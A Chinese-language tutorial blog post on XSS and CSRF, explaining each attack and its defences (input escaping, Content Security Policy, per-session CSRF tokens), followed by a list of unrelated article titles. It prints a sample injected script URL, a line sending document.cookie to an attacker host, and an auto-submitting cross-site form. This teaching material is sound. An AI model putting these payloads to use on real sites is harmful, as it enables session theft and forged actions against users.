web安全之——XSS、CSRF
XSS漏洞
XSS 全称 Cross Site Scripting ,跨站脚本攻击。它的形成主要原因是多数用户输入没有转义,而被直接执行。
参考下面一段脚本:
$('#box').html(location.hash.replace('#', ''))
攻击者发现这里的漏洞后,构造这样的URL:
http://a.com/pathname#<script src="http://b.com/c.js"></script>
为了不让受害者发现这段URL的猫腻,他可能会压缩成一个短网址:
http://t.cn/fasdfj
然后将短网址发给某个登录在线用户。这样,这段hash中的脚本将会在这个用户的浏览器中执行,而这段脚本中的内容如下:
location.herf = "http://c.com/?" + document.cookie
这段代码将该用户的Cookie提交给了c.com站点,这个站点就是攻击者的服务器,于是他就能拿到该用户的Session口令。然后他在客户端中用这个口令伪造Cookie,从而实现了伪装用户的身份。
XSS解决方案
一、将用用户的输入转义,永远不要相信用户的输入。
二、CSP 策略
Content Security Policy,简称CSP,即内容安全策略。
它的具体使用方式是在 HTTP 头中输出 CSP 策略:
Content-Security-Policy: <policy-directive>; <policy-directive>
从语法上可以看到,一个头可以输出多个策略,每一个策略由一个指令和指令对应的值组成。指令可以理解为指定内容类型的,比如script-src指令用于指定脚本,img-src用于指定图片。值则主要是来源,比如某个指定的URL,或者self表示同源,或者unsafe-inline表示在页面上直接出现的脚本等。
CSRF 漏洞
CSRF的全称是Croos-Site Request Forgery,即为跨站请求伪造。
这里以一个留言例子来说明CSRF攻击过程。假设某网站有这样一个留言接口:
http://domain_a.com/guestbook
用户通过POST提交content字段就能留言成功,服务器会自动从Session数据中判断是谁提交的数据。
正常情况下,谁提交的留言,就会在列表中显示谁的信息。如果攻击者发现了这里的接口存在CSRF漏洞,那么他就可以在另一个网站(http://domain_b.com/attack)上构造一个表单提交:
<form id="test" method="post" action="http://domain_a.com/guestbook">
<input type="hidden" name="content" value="谁是最帅的boy?">
</form>
<script type="text/javascript">
$(function() {
$("#test").submit();
})
</script>
此时,攻击者只要引诱某个domain_a的登录用户访问这个domain_b的网站,就会自动提交一个留言。由于在提交到domain_a的过程中,浏览器会将domain_a的Cookie发送到服务器,尽管这个请求是来自domain_b的。
CSRF如何防御
常规的防御方式是添加随机值。
var generationRandom = function(len) {
return crypto.randomBytes(Math.ceil(len * 3 / 4))
.toString('base64')
.slice(0,len)
}
也就是说,为每个请求的用户,在Session中赋予一个随机值,如下:
var token = req.session._csrf || req.session._crsf = generationRandom(10)
在做页面渲染的时候,将这个_crsf值告之前端:
<form id="test" method="post" action="http://domain_a.com/guestbook">
<input type="hidden" name="_crsf" value="<%=_crsf%>">
<input type="hidden" name="content" value="谁是最帅的boy?">
</form>
由于该值是一个随机值,攻击者构造出相同的随机值的难度相当大,所以我们只需要在接收端做一次你校验就能轻易的识别出该请求是否为伪造的:
function(req, res) {
var token = req.session._csrf || req.session._crsf = generationRandom(10);
var _crsf = req.body._crsf;
if(token !== _crsf) {
res.writeHead(403);
res.send('禁止访问');
}else {
hanle(req, res);
}
}
而且,_crsf也可以存在与查询字符串或请求头中。
相关:
理解CSRF(跨站请求伪造)
最新文章
- Redis - list类型操作
- AndroidManifest.xml文件综合详解(转)
- 排查Java线上服务故障的方法和实例分析
- cocos2dx 帧动画(iOS)
- RMQ(模板 ST 区间最值,频繁的间隔时间)
- Cortex-M3
- DDD领域驱动设计理论篇 - 学习笔记
- Uint 5.css继承权重,盒模型和border padding
- 生成git,ssh的key
- 关于PHP的 PHP-FPM进程CPU 100%的一些原因分析和解决方案
- ssh-keygen -t rsa -b 4096 -C ";邮箱";
- 随机获取一个集合(List, Set,Map)中的元素<;转>;
- 小波学习之二(单层一维离散小波变换DWT的Mallat算法C++实现优化)--转载
- 机器学习进阶-图像形态学操作-开运算与闭运算 1.cv2.morphologyEx(进行各类形态学变化) 2.op=cv2.MORPH_OPEN(先腐蚀后膨胀) 3.op=cv2.MORPH_CLOSE(先膨胀后腐蚀)
- 关于IT学习的老马私人订制服务
- Vue.js 与 Laravel 分离
- 基于Cocos2d-x学习OpenGL ES 2.0之多纹理
- CF1143D/1142A The Beatles
- mysql DML语句学习1
- 【pentaho】【kettle】【Data Integration】试用
热门文章
- [ Laravel 5.5 文档 ] 底层原理 &mdash;&mdash; 一次 Laravel 请求的生命周期
- 共享内存system v(未编译)
- linux 常用压缩打包和解压命令
- myeclipse 中 svn 更新 提交 同步资源库 详细解释下他们的功能
- EPLAN 软件平台中的词“点“大全
- kbmMWEncodeEscapes 中汉字编码的问题及解决办法
- hdu - 1072(dfs剪枝或bfs)
- 怎么备份VMware虚拟磁盘文件或移植到其他虚拟机
- UVa 12034 Race (递推+组合数学)
- Java中BufferedReader和scanner